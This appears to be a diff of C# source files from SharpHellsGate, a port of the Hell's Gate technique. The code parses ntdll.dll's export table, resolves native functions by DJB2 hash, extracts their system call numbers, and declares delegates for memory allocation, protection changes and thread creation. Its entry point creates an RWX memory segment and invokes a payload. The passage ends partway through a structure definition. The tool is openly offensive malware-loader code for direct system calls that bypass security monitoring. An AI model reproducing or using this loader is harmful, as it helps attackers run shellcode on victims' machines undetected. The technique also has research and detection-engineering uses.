/// Get a _IMAGE_SECTION_HEADER structure by name.
|
||||
/// </summary>
|
||||
/// <param name="name">The name of the section.</param>
|
||||
/// <returns>The _IMAGE_SECTION_HEADER structure if exists.</returns>
|
||||
public Structures.IMAGE_SECTION_HEADER GetModuleSectionHeaderByName(string name) {
|
||||
if (name.Length > 8) {
|
||||
Util.LogError("Invalid section name");
|
||||
return default;
|
||||
}
|
||||
|
||||
if (!base.ModuleStream.CanRead || base.ModuleStream.Length == 0x00) {
|
||||
Util.LogError("Module not loaded");
|
||||
return default;
|
||||
}
|
||||
|
||||
if (this.ModuleSectionHeaders.Count == 0x00)
|
||||
this.GetModuleSectionHeaders();
|
||||
|
||||
return this.ModuleSectionHeaders.Where(x => x.Name.Equals(name, StringComparison.OrdinalIgnoreCase)).FirstOrDefault();
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Get the Export Address Table (aka EAT) from the module.
|
||||
/// </summary>
|
||||
/// <param name="ReloadCache">Whether the data has to re-processed if not already cached.</param>
|
||||
/// <returns>the _IMAGE_EXPORT_DIRECTORY structure</returns>
|
||||
public Structures.IMAGE_EXPORT_DIRECTORY GetModuleExportDirectory(bool ReloadCache = false) {
|
||||
if (!this.ModuleExportDirectory.Equals(default(Structures.IMAGE_EXPORT_DIRECTORY)) && !ReloadCache)
|
||||
return this.ModuleExportDirectory;
|
||||
|
||||
if (!base.ModuleStream.CanRead || base.ModuleStream.Length == 0x00) {
|
||||
Util.LogError("Module not loaded");
|
||||
return default;
|
||||
}
|
||||
|
||||
if (this.ModuleNTHeaders.Equals(default(Structures.IMAGE_NT_HEADERS64)))
|
||||
this.GetModuleNTHeaders();
|
||||
|
||||
if (this.ModuleSectionHeaders.Count == 0x00)
|
||||
this.GetModuleSectionHeaders();
|
||||
|
||||
this.ModuleExportDirectoryOffset = this.ConvertRvaToOffset(this.ModuleNTHeaders.OptionalHeader.DataDirectory[0].VirtualAddress);
|
||||
this.ModuleExportDirectory = base.GetStructureFromBlob<Structures.IMAGE_EXPORT_DIRECTORY>(this.ModuleExportDirectoryOffset);
|
||||
if (this.ModuleExportDirectory.Equals(default(Structures.IMAGE_EXPORT_DIRECTORY))) {
|
||||
Util.LogError("Invalid export address table (EAT).");
|
||||
return default;
|
||||
}
|
||||
|
||||
// Parse all functions
|
||||
this.ModuleExportDirectoryAddressNamesOffset = this.ConvertRvaToOffset(this.ModuleExportDirectory.AddressOfNames);
|
||||
this.ModuleExportDirectoryAddressFunctionsOffset = this.ConvertRvaToOffset(this.ModuleExportDirectory.AddressOfFunctions);
|
||||
this.ModuleExportDirectoryAddressNameOrdinalesOffset = this.ConvertRvaToOffset(this.ModuleExportDirectory.AddressOfNameOrdinals);
|
||||
return this.ModuleExportDirectory;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Get the address, name, system call for a given function hash.
|
||||
/// </summary>
|
||||
/// <param name="FunctionHash">DJB2 function hash.</param>
|
||||
/// <returns></returns>
|
||||
public Util.APITableEntry GetAPITableEntry(UInt64 FunctionHash) {
|
||||
if (this.ModuleExportDirectoryAddressNamesOffset == 0x00 || this.ModuleExportDirectoryAddressFunctionsOffset == 0x00|| this.ModuleExportDirectoryAddressNameOrdinalesOffset == 0x00)
|
||||
this.GetModuleExportDirectory();
|
||||
|
||||
if (!base.ModuleStream.CanRead || base.ModuleStream.Length == 0x00) {
|
||||
Util.LogError("Module not loaded");
|
||||
return default;
|
||||
}
|
||||
|
||||
Util.APITableEntry Entry = new Util.APITableEntry {
|
||||
Hash = FunctionHash
|
||||
};
|
||||
|
||||
for (Int32 cx = 0; cx < this.ModuleExportDirectory.NumberOfNames; cx++) {
|
||||
UInt32 PtrFunctionName = base.ReadPtr32(this.ModuleExportDirectoryAddressNamesOffset + (sizeof(uint) * cx));
|
||||
string FunctionName = base.ReadAscii(this.ConvertRvaToOffset(PtrFunctionName));
|
||||
|
||||
if (FunctionHash == Util.GetFunctionDJB2Hash(FunctionName)) {
|
||||
UInt32 PtrFunctionAdddress = base.ReadPtr32(this.ModuleExportDirectoryAddressFunctionsOffset + (sizeof(uint) * (cx + 1)));
|
||||
Span<byte> opcode = base.GetFunctionOpCode(this.ConvertRvaToOffset(PtrFunctionAdddress));
|
||||
|
||||
if (opcode[3] == 0xb8 && opcode[18] == 0x0f && opcode[19] == 0x05) {
|
||||
Entry.Name = FunctionName;
|
||||
Entry.Address = PtrFunctionAdddress;
|
||||
Entry.Syscall = (Int16)(((byte)opcode[5] << 4) | (byte)opcode[4]);
|
||||
return Entry;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return default;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Get the offset of a _IMAGE_SECTION_HEADER structure.
|
||||
/// </summary>
|
||||
/// <param name="cx">The section to get.</param>
|
||||
/// <returns>The _IMAGE_SECTION_HEADER structure.</returns>
|
||||
private Int64 GetModuleSectionOffset(Int16 cx)
|
||||
=> this.ModuleDOSHeader.e_lfanew
|
||||
+ Marshal.SizeOf<Structures.IMAGE_FILE_HEADER>()
|
||||
+ this.ModuleNTHeaders.FileHeader.SizeOfOptionalHeader
|
||||
+ sizeof(Int32) // sizeof(DWORD)
|
||||
+ (Marshal.SizeOf<Structures.IMAGE_SECTION_HEADER>() * cx);
|
||||
|
||||
/// <summary>
|
||||
/// Convert a relative virtual address (RVA) into an offset.
|
||||
/// </summary>
|
||||
/// <param name="rva">The RVA to convert into an offset in the iamge.</param>
|
||||
/// <param name="SectionHeader">The section in which the relative virtual address (RVA) points to.</param>
|
||||
/// <returns>The offset.</returns>
|
||||
private Int64 ConvertRvaToOffset(Int64 rva, Structures.IMAGE_SECTION_HEADER SectionHeader) => rva - SectionHeader.VirtualAddress + SectionHeader.PointerToRawData;
|
||||
|
||||
/// <summary>
|
||||
/// Convert a relative virtual address (RVA) into an offset.
|
||||
/// </summary>
|
||||
/// <param name="rva">The RVA to convert into an offset in the iamge.</param>
|
||||
/// <returns>The offset.</returns>
|
||||
private Int64 ConvertRvaToOffset(Int64 rva) => this.ConvertRvaToOffset(rva, GetSectionByRVA(rva));
|
||||
|
||||
/// <summary>
|
||||
/// Get which image section is which a relative virtual address (RVA) points to.
|
||||
/// </summary>
|
||||
/// <param name="rva">The RVA</param>
|
||||
/// <returns>The _IMAGE_SECTION_HEADER structure</returns>
|
||||
private Structures.IMAGE_SECTION_HEADER GetSectionByRVA(Int64 rva) => this.ModuleSectionHeaders.Where(x => rva > x.VirtualAddress && rva <= x.VirtualAddress + x.SizeOfRawData).First();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,51 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using SharpHellsGate.Module;
|
||||
|
||||
namespace SharpHellsGate {
|
||||
|
||||
/// <summary>
|
||||
/// Main class.
|
||||
/// </summary>
|
||||
public class Program {
|
||||
|
||||
/// <summary>
|
||||
/// Entry point of the program.
|
||||
/// </summary>
|
||||
/// <param name="args">Command line arguments.</param>
|
||||
static void Main(string[] args) {
|
||||
Util.LogInfo("Copyright (C) 2020 Paul Laine (@am0nsec)");
|
||||
Util.LogInfo("C# Implementation of the Hell's Gate VX Technique");
|
||||
Util.LogInfo(" --------------------------------------------------\n", 0, "");
|
||||
|
||||
// Only works for x86
|
||||
if (IntPtr.Size != 8) {
|
||||
Util.LogError("Project only tested in x64 context.\n");
|
||||
return;
|
||||
}
|
||||
|
||||
// Load the module and get everything ready
|
||||
SystemModule ntdll = new SystemModule("ntdll.dll");
|
||||
ntdll.LoadAllStructures();
|
||||
|
||||
// Resolve all the system calls
|
||||
Dictionary<UInt64, Util.APITableEntry> APITable = new Dictionary<ulong, Util.APITableEntry>() {
|
||||
{ Util.NtAllocateVirtualMemoryHash, ntdll.GetAPITableEntry(Util.NtAllocateVirtualMemoryHash) },
|
||||
{ Util.NtProtectVirtualMemoryHash, ntdll.GetAPITableEntry(Util.NtProtectVirtualMemoryHash) },
|
||||
{ Util.NtCreateThreadExHash, ntdll.GetAPITableEntry(Util.NtCreateThreadExHash) },
|
||||
{ Util.NtWaitForSingleObjectHash, ntdll.GetAPITableEntry(Util.NtWaitForSingleObjectHash) }
|
||||
};
|
||||
ntdll.Dispose();
|
||||
|
||||
Util.LogInfo($"NtAllocateVirtualMemory: 0x{APITable[Util.NtAllocateVirtualMemoryHash].Syscall:x4}");
|
||||
Util.LogInfo($"NtProtectVirtualMemory: 0x{APITable[Util.NtProtectVirtualMemoryHash].Syscall:x4}");
|
||||
Util.LogInfo($"NtWaitForSingleObject: 0x{APITable[Util.NtWaitForSingleObjectHash].Syscall:x4}");
|
||||
Util.LogInfo($"NtCreateThreadEx: 0x{APITable[Util.NtCreateThreadExHash].Syscall:x4}\n");
|
||||
|
||||
HellsGate gate = new HellsGate(APITable);
|
||||
gate.GenerateRWXMemorySegment();
|
||||
gate.Payload();
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,18 @@
|
||||
<Project Sdk="Microsoft.NET.Sdk">
|
||||
|
||||
<PropertyGroup>
|
||||
<OutputType>Exe</OutputType>
|
||||
<TargetFramework>net5.0</TargetFramework>
|
||||
</PropertyGroup>
|
||||
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|AnyCPU'">
|
||||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||
<PlatformTarget>x64</PlatformTarget>
|
||||
</PropertyGroup>
|
||||
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|AnyCPU'">
|
||||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||
<PlatformTarget>x64</PlatformTarget>
|
||||
</PropertyGroup>
|
||||
|
||||
</Project>
|
||||
@@ -0,0 +1,128 @@
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace SharpHellsGate {
|
||||
|
||||
/// <summary>
|
||||
/// Util class. Used mainly for debug output.
|
||||
/// </summary>
|
||||
public class Util {
|
||||
|
||||
/// <summary>
|
||||
/// Structure used to store the name, address, system call and hash of a native Windows function.
|
||||
/// </summary>
|
||||
public struct APITableEntry {
|
||||
public string Name;
|
||||
public Int64 Address;
|
||||
public Int16 Syscall;
|
||||
public UInt64 Hash;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// DJB2 Hash of the NtAllocateVirtualMemory function name.
|
||||
/// </summary>
|
||||
public static UInt64 NtAllocateVirtualMemoryHash { get; } = 0xf5bd373480a6b89b;
|
||||
|
||||
/// <summary>
|
||||
/// DJB2 Hash of the NtProtectVirtualMemory function name.
|
||||
/// </summary>
|
||||
public static UInt64 NtProtectVirtualMemoryHash { get; } = 0x858bcb1046fb6a37;
|
||||
|
||||
/// <summary>
|
||||
/// DJB2 Hash of the NtCreateThreadEx function name.
|
||||
/// </summary>
|
||||
public static UInt64 NtCreateThreadExHash { get; } = 0x64dc7db288c5015f;
|
||||
|
||||
/// <summary>
|
||||
/// DJB2 Hash of the NtWaitForSingleObject function name.
|
||||
/// </summary>
|
||||
public static UInt64 NtWaitForSingleObjectHash { get; } = 0xc6a2fa174e551bcb;
|
||||
|
||||
|
||||
/// <summary>
|
||||
/// Log an informational information.
|
||||
/// </summary>
|
||||
/// <param name="msg">Message to log.</param>
|
||||
/// <param name="indent">Indentation level.</param>
|
||||
/// <param name="prefix">Message prefix.</param>
|
||||
public static void LogInfo(string msg, int indent = 0, string prefix = "[>]") {
|
||||
#if DEBUG
|
||||
if (string.IsNullOrEmpty(msg))
|
||||
return;
|
||||
|
||||
LogMessage(msg, prefix, indent, ConsoleColor.Blue);
|
||||
#endif
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Log an error information.
|
||||
/// </summary>
|
||||
/// <param name="msg">Message to log.</param>
|
||||
/// <param name="indent">Indentation level.</param>
|
||||
/// <param name="prefix">Message prefix.</param>
|
||||
public static void LogError(string msg, int indent = 0, string prefix = "[-]") {
|
||||
#if DEBUG
|
||||
if (string.IsNullOrEmpty(msg))
|
||||
return;
|
||||
|
||||
LogMessage(msg, prefix, indent, ConsoleColor.Red);
|
||||
#endif
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Log a success information.
|
||||
/// </summary>
|
||||
/// <param name="msg">Message to log.</param>
|
||||
/// <param name="indent">Indentation level.</param>
|
||||
/// <param name="prefix">Message prefix</param>
|
||||
public static void LogSuccess(string msg, int indent = 0, string prefix = "[+]") {
|
||||
#if DEBUG
|
||||
if (string.IsNullOrEmpty(msg))
|
||||
return;
|
||||
|
||||
LogMessage(msg, prefix, indent, ConsoleColor.Green);
|
||||
#endif
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Log a string to the console and to the debugger.
|
||||
/// </summary>
|
||||
/// <param name="msg">Message to log.</param>
|
||||
/// <param name="indent">Indentation level.</param>
|
||||
/// <param name="prefix">Message prefix.</param>
|
||||
/// <param name="color">The color of the prifix on the console.</param>
|
||||
private static void LogMessage(string msg, string prefix, int indent, ConsoleColor color) {
|
||||
// Indent
|
||||
Console.Write(new String(' ', indent));
|
||||
Trace.Write(new String(' ', indent));
|
||||
|
||||
// Color and prefix
|
||||
Trace.Write(prefix);
|
||||
Console.ForegroundColor = color;
|
||||
Console.Write(prefix);
|
||||
Console.ResetColor();
|
||||
|
||||
// Message
|
||||
Console.WriteLine($" {msg}");
|
||||
Trace.WriteLine($" {msg}");
|
||||
}
|
||||
|
||||
|
||||
/// <summary>
|
||||
/// Revisited DJB2 algorithm.
|
||||
/// </summary>
|
||||
/// <param name="FunctionName">The ASCII name of a function.</param>
|
||||
/// <returns>The djb2 hash of the function name.</returns>
|
||||
public static UInt64 GetFunctionDJB2Hash(string FunctionName) {
|
||||
if (string.IsNullOrEmpty(FunctionName))
|
||||
return 0;
|
||||
|
||||
UInt64 hash = 0x7734773477347734;
|
||||
foreach (char c in FunctionName)
|
||||
hash = ((hash << 0x5) + hash) + (byte)c;
|
||||
|
||||
return hash;
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,93 @@
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace SharpHellsGate.Win32 {
|
||||
|
||||
/// <summary>
|
||||
/// Contains all the delegates used to execute the system calls.
|
||||
/// </summary>
|
||||
public class DFunctions {
|
||||
|
||||
/// <summary>
|
||||
/// Managed wrapper around the NtAllocateVirtualMemory native Windows function
|
||||
/// </summary>
|
||||
/// <param name="ProcessHandle">A handle for the process for which the mapping should be done.</param>
|
||||
/// <param name="BaseAddress">A pointer to a variable that will receive the base address of the allocated region of pages.</param>
|
||||
/// <param name="ZeroBits">The number of high-order address bits that must be zero in the base address of the section view.</param>
|
||||
/// <param name="RegionSize">A pointer to a variable that will receive the actual size, in bytes, of the allocated region of pages.</param>
|
||||
/// <param name="AllocationType">A bitmask containing flags that specify the type of allocation to be performed for the specified region of pages.</param>
|
||||
/// <param name="Protect">A bitmask containing page protection flags that specify the protection desired for the committed region of pages.</param>
|
||||
/// <returns>NtAllocateVirtualMemory returns either STATUS_SUCCESS or an error status code.</returns>
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
public delegate uint NtAllocateVirtualMemory(
|
||||
IntPtr ProcessHandle,
|
||||
ref IntPtr BaseAddress,
|
||||
IntPtr ZeroBits,
|
||||
ref IntPtr RegionSize,
|
||||
UInt32 AllocationType,
|
||||
UInt32 Protect
|
||||
);
|
||||
|
||||
/// <summary>
|
||||
/// Managed wrapper around the NtProtectVirtualMemory native Windows function.
|
||||
/// </summary>
|
||||
/// <param name="ProcessHandle">Handle to Process Object opened with PROCESS_VM_OPERATION access.</param>
|
||||
/// <param name="BaseAddress">Pointer to base address to protect. Protection will change on all page containing specified address. On output, BaseAddress will point to page start address.</param>
|
||||
/// <param name="NumberOfBytesToProtect">Pointer to size of region to protect. On output will be round to page size (4KB).</param>
|
||||
/// <param name="NewAccessProtection">One or some of PAGE_... attributes.</param>
|
||||
/// <param name="OldAccessProtection">Receive previous protection.</param>
|
||||
/// <returns>NtProtectVirtualMemory returns either STATUS_SUCCESS or an error status code.</returns>
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
public delegate uint NtProtectVirtualMemory(
|
||||
IntPtr ProcessHandle,
|
||||
ref IntPtr BaseAddress,
|
||||
ref IntPtr RegionSize,
|
||||
UInt32 NewProtect,
|
||||
out UInt32 OldProtect
|
||||
);
|
||||
|
||||
/// <summary>
|
||||
/// Managed wrapper around the NtCreateThreadEx native Windows function.
|
||||
/// </summary>
|
||||
/// <param name="hThread">Caller supplied storage for the resulting handle.</param>
|
||||
/// <param name="DesiredAccess">Specifies the allowed or desired access to the thread.</param>
|
||||
/// <param name="ObjectAttributes">Initialized attributes for the object.</param>
|
||||
/// <param name="ProcessHandle">Handle to the threads parent process.</param>
|
||||
/// <param name="lpStartAddress">Address of the function to execute.</param>
|
||||
/// <param name="lpParameter">Parameters to pass to the function.</param>
|
||||
/// <param name="CreateSuspended">Whether the thread will be in suspended mode and has to be resumed later.</param>
|
||||
/// <param name="StackZeroBits"></param>
|
||||
/// <param name="SizeOfStackCommit">Initial stack memory to commit.</param>
|
||||
/// <param name="SizeOfStackReserve">Initial stack memory to reserve.</param>
|
||||
/// <param name="lpBytesBuffer"></param>
|
||||
/// <returns>NtCreateThreadEx returns either STATUS_SUCCESS or an error status code.</returns>
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
public delegate uint NtCreateThreadEx(
|
||||
ref IntPtr hThread,
|
||||
uint DesiredAccess,
|
||||
IntPtr ObjectAttributes,
|
||||
IntPtr ProcessHandle,
|
||||
IntPtr lpStartAddress,
|
||||
IntPtr lpParameter,
|
||||
bool CreateSuspended,
|
||||
uint StackZeroBits,
|
||||
uint SizeOfStackCommit,
|
||||
uint SizeOfStackReserve,
|
||||
IntPtr lpBytesBuffer
|
||||
);
|
||||
|
||||
/// <summary>
|
||||
/// Managed wrapper around the NtWaitForSingleObject native Windows function.
|
||||
/// </summary>
|
||||
/// <param name="ObjectHandle">Open handle to a alertable executive object.</param>
|
||||
/// <param name="Alertable">If set, calling thread is signaled, so all queued APC routines are executed.</param>
|
||||
/// <param name="TimeOuts">Time-out interval, in microseconds. NULL means infinite.</param>
|
||||
/// <returns>NtWaitForSingleObject returns either STATUS_SUCCESS or an error status code.</returns>
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
public delegate uint NtWaitForSingleObject(
|
||||
IntPtr ObjectHandle,
|
||||
bool Alertable,
|
||||
ref Structures.LARGE_INTEGER TimeOut
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,78 @@
|
||||
using System;
|
||||
|
||||
namespace SharpHellsGate.Win32 {
|
||||
|
||||
/// <summary>
|
||||
/// Windows Macros used for error and success codes and bitmasks.
|
||||
/// </summary>
|
||||
public static class Macros {
|
||||
|
||||
// NTSTATUS
|
||||
public static bool NT_SUCCESS(UInt32 ntstatus) => ntstatus <= 0x3FFFFFFF;
|
||||
public static bool NT_INFORMATION(UInt32 ntstatus) => ntstatus >= 0x40000000 && ntstatus <= 0x7FFFFFFF;
|
||||
public static bool NT_WARNING(UInt32 ntstatus) => ntstatus >= 0x80000000 && ntstatus <= 0xBFFFFFFF;
|
||||
public static bool NT_ERROR(UInt32 ntstatus) => ntstatus >= 0xC0000000 && ntstatus <= 0xFFFFFFFF;
|
||||
|
||||
// Common NTSTATUS
|
||||
public static UInt32 STATUS_SUCCESS { get; } = 0x00000000;
|
||||
public static UInt32 STATUS_UNSUCCESSFUL { get; } = 0xC0000001;
|
||||
public static UInt32 STATUS_NOT_IMPLEMENTED { get; } = 0xC0000002;
|
||||
|
||||
// Portable Executable
|
||||
public static Int16 IMAGE_DOS_SIGNATURE { get; } = 0x5a00 | 0x4D; // MZ
|
||||
public static Int32 IMAGE_NT_SIGNATURE { get; } = 0x00004500 | 0x00000050; // PE00
|
||||
|
||||
// Pseudo-Handles
|
||||
public static IntPtr GetCurrentProcess() => new IntPtr(-1);
|
||||
public static IntPtr GetCurrentThread() => new IntPtr(-2);
|
||||
public static IntPtr GetCurrentProcessToken() => new IntPtr(-4);
|
||||
public static IntPtr GetCurrentThreadToken() => new IntPtr(-5);
|
||||
public static IntPtr GetCurrentThreadEffectiveToken() => new IntPtr(-6);
|
||||
|
||||
// Page and Memory permissions
|
||||
public static UInt32 PAGE_NOACCESS { get; } = 0x01;
|
||||
public static UInt32 PAGE_READONLY { get; } = 0x02;
|
||||
public static UInt32 PAGE_READWRITE { get; } = 0x04;
|
||||
public static UInt32 PAGE_WRITECOPY { get; } = 0x08;
|
||||
public static UInt32 PAGE_EXECUTE { get; } = 0x10;
|
||||
public static UInt32 PAGE_EXECUTE_READ { get; } = 0x20;
|
||||
public static UInt32 PAGE_EXECUTE_READWRITE { get; } = 0x40;
|
||||
public static UInt32 PAGE_EXECUTE_WRITECOPY { get; } = 0x80;
|
||||
public static UInt32 PAGE_GUARD { get; } = 0x100;
|
||||
public static UInt32 PAGE_NOCACHE { get; } = 0x200;
|
||||
public static UInt32 PAGE_WRITECOMBINE { get; } = 0x400;
|
||||
public static UInt32 PAGE_GRAPHICS_NOACCESS { get; } = 0x0800;
|
||||
public static UInt32 PAGE_GRAPHICS_READONLY { get; } = 0x1000;
|
||||
public static UInt32 PAGE_GRAPHICS_READWRITE { get; } = 0x2000;
|
||||
public static UInt32 PAGE_GRAPHICS_EXECUTE { get; } = 0x4000;
|
||||
public static UInt32 PAGE_GRAPHICS_EXECUTE_READ { get; } = 0x8000;
|
||||
public static UInt32 PAGE_GRAPHICS_EXECUTE_READWRITE { get; } = 0x10000;
|
||||
public static UInt32 PAGE_GRAPHICS_COHERENT { get; } = 0x20000;
|
||||
public static UInt32 PAGE_ENCLAVE_THREAD_CONTROL { get; } = 0x80000000;
|
||||
public static UInt32 PAGE_REVERT_TO_FILE_MAP { get; } = 0x80000000;
|
||||
public static UInt32 PAGE_TARGETS_NO_UPDATE { get; } = 0x40000000;
|
||||
public static UInt32 PAGE_TARGETS_INVALID { get; } = 0x40000000;
|
||||
public static UInt32 PAGE_ENCLAVE_UNVALIDATED { get; } = 0x20000000;
|
||||
public static UInt32 PAGE_ENCLAVE_DECOMMIT { get; } = 0x10000000;
|
||||
public static UInt32 MEM_COMMIT { get; } = 0x00001000;
|
||||
public static UInt32 MEM_RESERVE { get; } = 0x00002000;
|
||||
public static UInt32 MEM_REPLACE_PLACEHOLDER { get; } = 0x00004000;
|
||||
public static UInt32 MEM_RESERVE_PLACEHOLDER { get; } = 0x00040000;
|
||||
public static UInt32 MEM_RESET { get; } = 0x00080000 ;
|
||||
public static UInt32 MEM_TOP_DOWN { get; } = 0x00100000;
|
||||
public static UInt32 MEM_WRITE_WATCH { get; } = 0x00200000;
|
||||
public static UInt32 MEM_PHYSICAL { get; } = 0x00400000;
|
||||
public static UInt32 MEM_ROTATE { get; } = 0x00800000;
|
||||
public static UInt32 MEM_DIFFERENT_IMAGE_BASE_OK { get; } = 0x00800000;
|
||||
public static UInt32 MEM_RESET_UNDO { get; } = 0x01000000;
|
||||
public static UInt32 MEM_LARGE_PAGES { get; } = 0x20000000;
|
||||
public static UInt32 MEM_4MB_PAGES { get; } = 0x80000000;
|
||||
public static UInt32 MEM_64K_PAGES { get; } = (MEM_LARGE_PAGES | MEM_PHYSICAL);
|
||||
public static UInt32 MEM_UNMAP_WITH_TRANSIENT_BOOST { get; } = 0x00000001;
|
||||
public static UInt32 MEM_COALESCE_PLACEHOLDERS { get; } = 0x00000001;
|
||||
public static UInt32 MEM_PRESERVE_PLACEHOLDER { get; } = 0x00000002;
|
||||
public static UInt32 MEM_DECOMMIT { get; } = 0x00004000;
|
||||
public static UInt32 MEM_RELEASE { get; } = 0x00008000;
|
||||
public static UInt32 MEM_FREE { get; } = 0x00010000;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,128 @@
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace SharpHellsGate.Win32 {
|
||||
public static class Structures {
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, Pack = 1)]
|
||||
public struct IMAGE_DOS_HEADER {
|
||||
public UInt16 e_magic; /*+0x000*/
|
||||
public UInt16 e_cblp; /*+0x002*/
|
||||
public UInt16 e_cp; /*+0x004*/
|
||||
public UInt16 e_crlc; /*+0x006*/
|
||||
public UInt16 e_cparhdr; /*+0x008*/
|
||||
public UInt16 e_minalloc; /*+0x00a*/
|
||||
public UInt16 e_maxalloc; /*+0x00c*/
|
||||
public UInt16 e_ss; /*+0x00e*/
|
||||
public UInt16 e_sp; /*+0x010*/
|
||||
public UInt16 e_csum; /*+0x012*/
|
||||
public UInt16 e_ip; /*+0x014*/
|
||||
public UInt16 e_cs; /*+0x016*/
|
||||
public UInt16 e_lfarlc; /*+0x018*/
|
||||
public UInt16 e_ovno; /*+0x01a*/
|
||||
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]
|
||||
public UInt16[] e_res; /*+0x01c*/
|
||||
public UInt16 e_oemid; /*+0x024*/
|
||||
public UInt16 e_oeminfo; /*+0x026*/
|
||||
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)]
|
||||
public UInt16[] e_res2; /*+0x028*/
|
||||
public UInt32 e_lfanew; /*+0x03c*/
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, Pack = 1)]
|
||||
public struct IMAGE_FILE_HEADER {
|
||||
public UInt16 Machine; /*+0x000*/
|
||||
public UInt16 NumberOfSections; /*+0x002*/
|
||||
public UInt32 TimeDateStamp; /*+0x004*/
|
||||
public UInt32 PointerToSymbolTable; /*+0x008*/
|
||||
public UInt32 NumberOfSymbols; /*+0x00c*/
|
||||
public UInt16 SizeOfOptionalHeader; /*+0x010*/
|
||||
public UInt16 Characteristics; /*+0x012*/
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, Pack = 1)]
|
||||
public struct IMAGE_DATA_DIRECTORY {
|
||||
public UInt32 VirtualAddress; /*+0x000*/
|
||||
public UInt32 Size; /*+0x004*/
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, Pack = 1)]
|
||||
public struct IMAGE_OPTIONAL_HEADER64 {
|
||||
public UInt16 Magic; /*+0x000*/
|
||||
public Byte MajorLinkerVersion; /*+0x002*/
|
||||
public Byte MinorLinkerVersion; /*+0x003*/
|
||||
public UInt32 SizeOfCode; /*+0x004*/
|
||||
public UInt32 SizeOfInitializedDatal; /*+0x008*/
|
||||
public UInt32 SizeOfUninitializedData; /*+0x00c*/
|
||||
public UInt32 AddressOfEntryPoint; /*+0x010*/
|
||||
public UInt32 BaseOfCode; /*+0x014*/
|
||||
public UInt64 ImageBasel; /*+0x018*/
|
||||
public UInt32 SectionAlignment; /*+0x020*/
|
||||
public UInt32 FileAlignment; /*+0x024*/
|
||||
public UInt16 MajorOperatingSystemVersion; /*+0x028*/
|
||||
public UInt16 MinorOperatingSystemVersion; /*+0x02a*/
|
||||
public UInt16 MajorImageVersion; /*+0x02c*/
|
||||
public UInt16 MinorImageVersion; /*+0x02e*/
|
||||
public UInt16 MajorSubsystemVersion; /*+0x030*/
|
||||
public UInt16 MinorSubsystemVersion; /*+0x032*/
|
||||
public UInt32 Win32VersionValue; /*+0x034*/
|
||||
public UInt32 SizeOfImage; /*+0x038*/
|
||||
public UInt32 SizeOfHeaders; /*+0x03c*/
|
||||
public UInt32 CheckSum; /*+0x040*/
|
||||
public UInt16 Subsystem; /*+0x044*/
|
||||
public UInt16 DllCharacteristics; /*+0x046*/
|
||||
public UInt64 SizeOfStackReserve; /*+0x048*/
|
||||
public UInt64 SizeOfStackCommit; /*+0x050*/
|
||||
public UInt64 SizeOfHeapReserve; /*+0x058*/
|
||||
public UInt64 SizeOfHeapCommit; /*+0x060*/
|
||||
public UInt32 LoaderFlags; /*+0x068*/
|
||||
public UInt32 NumberOfRvaAndSizes; /*+0x06c*/
|
||||
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]
|
||||
public IMAGE_DATA_DIRECTORY[] DataDirectory; /*+0x070*/
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, Pack = 1)]
|
||||
public struct IMAGE_NT_HEADERS64 {
|
||||
public UInt32 Signature; /*+0x000*/
|
||||
public IMAGE_FILE_HEADER FileHeader; /*+0x004*/
|
||||
public IMAGE_OPTIONAL_HEADER64 OptionalHeader; /*+0x018*/
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, Pack = 1)]
|
||||
public struct IMAGE_EXPORT_DIRECTORY {
|
||||
public UInt32 Characteristics; /*+0x000*/
|
||||
public UInt32 TimeDateStamp; /*+0x004*/
|
||||
public UInt16 MajorVersion; /*+0x008*/
|
||||
public UInt16 MinorVersion; /*+0x00a*/
|
||||
public UInt32 Name; /*+0x00c*/
|
||||
public UInt32 Base; /*+0x010*/
|
||||
public UInt32 NumberOfFunctions; /*+0x014*/
|
||||
public UInt32 NumberOfNames; /*+0x018*/
|
||||
public UInt32 AddressOfFunctions; /*+0x01c*/
|
||||
public UInt32 AddressOfNames; /*+0x020*/
|
||||
public UInt32 AddressOfNameOrdinals; /*+0x024*/
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, Pack = 1)]
|
||||
public struct IMAGE_SECTION_HEADER {
|
||||
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 8)]
|
||||
public string Name; /*+0x000*/
|
||||
public UInt32 Misc; /*+0x008*/
|
||||
public UInt32 VirtualAddress; /*+0x00c*/
|
||||
public UInt32 SizeOfRawData; /*+0x010*/
|
||||
public UInt32 PointerToRawData; /*+0x014*/
|
||||
